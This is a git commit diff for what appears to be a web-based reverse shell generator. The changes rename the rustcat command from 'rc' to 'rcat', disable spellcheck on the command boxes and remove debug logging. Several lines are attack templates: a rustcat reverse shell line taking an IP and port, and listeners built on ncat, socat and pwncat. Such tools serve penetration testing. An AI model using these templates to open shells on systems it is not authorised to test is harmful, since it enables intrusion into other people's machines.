Rc -> Rcat & Fixes

This commit is contained in:
robiot 2021-10-03 11:43:55 +03:00
parent fd4002b841
commit 8efd307ac7
3 changed files with 7 additions and 9 deletions

View File

@ -148,7 +148,7 @@
<div class="row justify-content-center"> <div class="row justify-content-center">
<div class="col-auto position-relative" style="min-width: 15vw"> <div class="col-auto position-relative" style="min-width: 15vw">
<pre class="prompt-sign">🚀</pre> <pre class="prompt-sign">🚀</pre>
<pre id="listener-command" class="bg-dark border text-wrap text-break p-4 pl-5 mb-2" <pre id="listener-command" class="bg-dark border text-wrap text-break p-4 pl-5 mb-2" spellcheck="false"
style="outline: none; font-size:1em;" contenteditable="true"></pre> style="outline: none; font-size:1em;" contenteditable="true"></pre>
</div> </div>
</div> </div>
@ -247,7 +247,7 @@
<div class="col position-relative"> <div class="col position-relative">
<pre class="prompt-sign">🚀</pre> <pre class="prompt-sign">🚀</pre>
<pre id="reverse-shell-command" <pre id="reverse-shell-command"
class="bg-dark border pre-wrap text-break p-4 pl-5" class="bg-dark border pre-wrap text-break p-4 pl-5" spellcheck="false"
style="outline: none; font-size:1em;" contenteditable="true"></pre> style="outline: none; font-size:1em;" contenteditable="true"></pre>
</div> </div>
</div> </div>
@ -351,7 +351,7 @@
<div class="row flex-grow-1"> <div class="row flex-grow-1">
<div class="col position-relative"> <div class="col position-relative">
<pre class="prompt-sign">🚀</pre> <pre class="prompt-sign">🚀</pre>
<pre id="bind-shell-command" class="bg-dark border pre-wrap text-break p-4 pl-5" <pre id="bind-shell-command" class="bg-dark border pre-wrap text-break p-4 pl-5" spellcheck="false"
style="outline: none; font-size:1em;" contenteditable="true"></pre> style="outline: none; font-size:1em;" contenteditable="true"></pre>
</div> </div>
</div> </div>
@ -407,7 +407,7 @@
<div class="col position-relative"> <div class="col position-relative">
<pre class="prompt-sign">🚀</pre> <pre class="prompt-sign">🚀</pre>
<pre id="msfvenom-command" <pre id="msfvenom-command"
class="bg-dark border pre-wrap text-break p-4 pl-5" class="bg-dark border pre-wrap text-break p-4 pl-5" spellcheck="false"
style="outline: none; font-size:1em;" contenteditable="true"></pre> style="outline: none; font-size:1em;" contenteditable="true"></pre>
</div> </div>
</div> </div>

View File

@ -81,7 +81,7 @@ const reverseShellCommands = withCommandType(
}, },
{ {
"name": "rustcat", "name": "rustcat",
"command": "rc {ip} {port} -r {shell}", "command": "rcat {ip} {port} -r {shell}",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{ {
@ -420,8 +420,8 @@ const rsgData = {
['ncat', 'ncat -lvnp {port}'], ['ncat', 'ncat -lvnp {port}'],
['ncat (TLS)', 'ncat --ssl -lvnp {port}'], ['ncat (TLS)', 'ncat --ssl -lvnp {port}'],
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'], ['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
['rc', 'rc -lp {port}'], ['rustcat', 'rcat -lp {port}'],
['rc + Command History', 'rc -lHp {port}'], ['rustcat + Command History', 'rcat -lHp {port}'],
['pwncat', 'python3 -m pwncat -lp {port}'], ['pwncat', 'python3 -m pwncat -lp {port}'],
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],

View File

@ -25,7 +25,6 @@ function initTheme() {
if (currentTheme == null) { if (currentTheme == null) {
document.body.removeAttribute("data-theme") document.body.removeAttribute("data-theme")
} else { } else {
console.log("there")
document.body.setAttribute("data-theme", currentTheme) document.body.setAttribute("data-theme", currentTheme)
$("#theme-selector").val(currentTheme).change(); $("#theme-selector").val(currentTheme).change();
} }
@ -38,7 +37,6 @@ function initTheme() {
* @return {void} * @return {void}
*/ */
function resetTheme(currentTheme) { function resetTheme(currentTheme) {
console.log(currentTheme)
if (currentTheme !== "dark") { if (currentTheme !== "dark") {
document.body.setAttribute("data-theme", currentTheme); document.body.setAttribute("data-theme", currentTheme);
localStorage.setItem("currentTheme", currentTheme); localStorage.setItem("currentTheme", currentTheme);